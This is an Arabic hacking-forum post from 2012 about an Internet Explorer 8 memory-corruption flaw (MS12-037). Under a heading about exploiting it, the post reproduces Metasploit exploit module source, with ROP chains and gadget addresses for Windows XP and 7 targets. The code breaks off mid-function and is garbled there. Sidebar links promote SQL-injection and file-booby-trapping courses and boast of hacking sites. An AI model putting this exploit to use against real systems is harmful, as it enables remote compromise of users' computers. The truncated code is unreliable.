1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

ثغرة بمتصفح Internet explorer 8

الموضوع في 'الـقـسـم الـعـام' بواسطة .:: RSS ::., بتاريخ ‏8 أغسطس 2012.

كاتب الموضوع : .:: RSS ::. المشاهدات : 1,408 الردود : 0 ‏8 أغسطس 2012
حالة الموضوع:
مغلق
  1. غير متصل

    .:: RSS ::. عضوية آلية

    عضو منذ:
    ‏9 سبتمبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    <div><div align="center">
    ثغره جديده في متصفحات internet explorer في إصدارها الثامن تصيب أنظمه XP / 7


    [​IMG]
    تم إكتشاف ثغره جديده في متصفحات internet explorer 8 تمكن المتستخدم من تنفيذ أكواد تتيح له بإختراق الجهاز , ويكمن هذا الخطأ البرمجي من فساد في الذاكره بوجود ضعف في التعامل مع العناصر والتحكم بها وإدخالها إلى المتصفح طبعاً الثغره تتخطى حمايات ال DEP / ASLR وتستهدف أنظمه windows 7 و windows xp ومن الجدير بالذكر أن مايكروسوفت لم تقوم بإصدار ترقيع حتى الأن لهذه الثغره فننصح الجميع بعدم إستخدام هذا المتصفح لحين إصدار ترقيع لهذه الثغره.



    طبعاً هذه ليست الثغره الأولى التي تصيب متصفحات internet explorer ويكون سببها ضعف في التحكم بالملفات ونشير بالذكر إلى أن هذه الثغره أصبحت متوفره في مشروع الميتاسبلويت ..

    إستغلاآل إلثغرة
    ..
    <font face="Tahoma"><font size="2"><font color="Gray"><div style="margin:20px; margin-top:5px; "> اقتباس:
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##

    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info={})
    super(update_info(info,
    'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
    'Description' => %q{
    This module exploits a memory corruption flaw in Internet Explorer 8 when
    handling objects with the same ID property. At the moment this module targets
    IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited
    in the wild.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Dark Son ', # Vulnerability discovery
    'Qihoo 360 Security Center', # Vulnerability discovery
    'Yichong Lin', # Vulnerability discovery
    'Google Inc.', # Vulnerability discovery
    'juan vazquez' # Metasploit module
    ],
    'References' =>
    [
    [ 'MSB', 'MS12-037'],
    [ 'CVE', '2012-1875' ],
    [ 'OSVDB', '82865'],
    [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
    [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild
    ],
    'Payload' =>
    {
    'Space' => 1024,
    'BadChars' => "\x00",
    'DisableNops' => true
    },
    'DefaultOptions' =>
    {
    'InitialAutoRunScript' => 'migrate -f'
    },
    'Platform' => 'win',
    'Targets' =>
    [
    [ 'Automatic', {} ],
    [
    'IE 8 on Windows XP SP3 with msvcrt ROP',
    {
    'Rop' => :msvcrt,
    'RopOffset' => '0x5f4',
    'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
    }
    ],
    [
    'IE 8 on Windows XP SP3 with JRE ROP',
    {
    'Rop' => :jre,
    'RopOffset' => '0x5f4',
    'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
    }
    ],
    [
    'IE 8 on Windows 7 SP1 with JRE ROP',
    {
    'Rop' => :jre,
    'RopOffset' => '0x5f4',
    'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
    }
    ],
    ],
    'Privileged' => false,
    'DisclosureDate' => "Jun 12 2012",
    'DefaultTarget' => 0))

    register_options(
    [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
    ], self.class)

    end

    def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
    #Windows XP SP3 + IE 8.0
    return targets[1]
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
    #Windows 7 SP1 + IE 8.0
    return targets[3]
    else
    return nil
    end
    end

    def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
    end

    def nop
    return make_nops(4).unpack("V").first
    end

    def ret(t)
    case t['Rop']
    when :msvcrt
    return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
    when :jre
    return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
    end
    end

    def popret(t)
    case t['Rop']
    when :msvcrt
    return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
    when :jre
    return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
    end
    end

    def get_rop_chain(t)

    adjust = ret(t) * 27
    adjust edx)
    0x77c4e392, # POP EAX # RETN
    nop, # NOPS (-> eax)
    0x77c12df9, # PUSHAD # RETN
    ].pack("V*")

    when :jre
    print_status("Using JRE ROP")
    rop =
    [
    0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    0x00001000, # (dwSize)
    0x7c347f98, # RETN (ROP NOP)
    0x7c3415a2, # JMP [EAX]
    0xffffffff,
    0x7c376402, # skip 4 bytes
    0x7c345255, # INC EBX # FPATAN # RETN
    0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
    0x7c344f87, # POP EDX # RETN
    0x00000040, # flNewProtect
    0x7c34d201, # POP ECX # RETN
    0x7c38b001, # &Writable location
    0x7c347f97, # POP EAX # RETN
    0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
    0x7c345c30, # ptr to 'push esp # ret '
    ].pack("V*")
    end

    code = adjust
    code
     


    جاري تحميل الصفحة...
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...